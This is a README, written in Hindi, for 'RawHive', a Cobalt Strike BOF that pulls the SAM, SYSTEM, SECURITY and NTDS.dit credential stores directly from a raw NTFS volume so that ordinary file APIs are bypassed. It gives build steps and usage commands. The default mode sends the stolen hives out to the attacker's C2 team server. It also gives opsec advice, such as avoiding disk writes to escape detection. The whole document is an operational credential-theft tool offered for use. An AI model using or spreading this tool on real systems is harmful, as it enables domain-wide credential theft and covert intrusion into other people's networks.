RawHive

RawHive एक Cobalt Strike BOF है जो चयनित Windows रजिस्ट्री हाइव्स को सीधे एक raw NTFS वॉल्यूम से निकालने के लिए है। यह सामान्य फ़ाइल API को छोड़ देता है, लक्ष्य फ़ाइल रिकॉर्ड खोजने के लिए NTFS मेटाडेटा को ट्रैवर्स करता है, और बाइट्स को सीधे डिस्क से पढ़ता है।

लक्ष्य:

• C:\Windows\System32\config\SAM
• C:\Windows\System32\config\SYSTEM
• C:\Windows\System32\config\SECURITY
• C:\Windows\NTDS\ntds.dit (केवल डोमेन कंट्रोलर)

कोई भी स्थानीय NTFS ड्राइव लेटर काम करता है; डिफ़ॉल्ट C: है।

यह कैसे काम करता है

1. वॉल्यूम खोलता है (उदाहरण के लिए \\.\C:) और $MFT का पता लगाने के लिए बूट सेक्टर पढ़ता है।
2. Windows, System32, config, और लक्ष्य फ़ाइलों के लिए डायरेक्टरी इंडेक्स को ट्रैवर्स करता है, फ़ॉलबैक के रूप में एक सीमित MFT स्कैन के साथ।
3. रेसिडेंट एट्रिब्यूट्स या क्लस्टर रनलिस्ट्स से फ़ाइल डेटा पढ़ता है।
4. बाइट्स को C2 पर स्ट्रीम करता है (डाउनलोड मोड) या उन्हें डिस्क पर लिखता है (डिस्क-राइट मोड)।

आवश्यकताएँ

• 64-बिट Beacon जो स्थानीय एडमिन या SYSTEM के रूप में चल रहा हो।
• बिल्ड करने के लिए x86_64-w64-mingw32-gcc और make।

बिल्ड

make

dist/rawhive.x64.o बिल्ड करता है। rawhive.cna ऑब्जेक्ट को dist/ से लोड करता है, इसलिए rawhive.c बदलने के बाद पुनः बिल्ड करें।

उपयोग

डाउनलोड मोड डिफ़ॉल्ट है: हाइव्स को सीधे raw वॉल्यूम से पढ़ा जाता है और BeaconDownload API के माध्यम से टीम सर्वर पर भेजा जाता है। लक्ष्य की डिस्क को कुछ भी छुआ नहीं जाता।

rawhive                    # download C: hives to team server
rawhive D                  # download D: hives to team server

डिस्क-राइट मोड लक्ष्य पर एक डायरेक्टरी में .tmp फ़ाइलें सहेजता है। ध्यान दें कि यह डिस्क को छूता है और opsec सुरक्षित नहीं हो सकता; डाउनलोड मोड को प्राथमिकता दें जब तक कि आपको विशेष रूप से फ़ाइलों को स्थानीय रूप से लैंड करने की आवश्यकता न हो।

rawhive C:\Windows\Temp           # write C: hives to disk
rawhive C:\Windows\Temp D         # write D: hives to C:\Windows\Temp

वॉल्यूम को C, c, या C: के रूप में लिखा जा सकता है। आउटपुट डायरेक्टरी पहले से मौजूद होनी चाहिए।

आउटपुट

फ़ाइलों का नाम <host>_<timestamp>_<hive>.tmp रखा जाता है:

<host>_<timestamp>_sam.tmp
<host>_<timestamp>_system.tmp
<host>_<timestamp>_security.tmp
<host>_<timestamp>_ntds.tmp       # DCs only

डाउनलोड मोड में वे Cobalt Strike के डाउनलोड ट्रे में दिखाई देती हैं; डिस्क-राइट मोड में वे निर्दिष्ट आउटपुट डायरेक्टरी में पहुँचती हैं।

नोट्स

• फ़ॉलबैक MFT स्कैन 500,000 रिकॉर्ड तक सीमित है।
• रनलिस्ट्स 128 एक्सटेंट तक सीमित हैं; बहुत अधिक विखंडित फ़ाइल आंशिक फ़ाइल को पूर्ण बताने के बजाय विफल हो जाती है।
• विकृत या असमर्थित NTFS संरचनाओं को असुरक्षित ऑफ़सेट के साथ जारी रखने के बजाय अस्वीकार कर दिया जाता है।

प्रूफ़ ऑफ़ कॉन्सेप्ट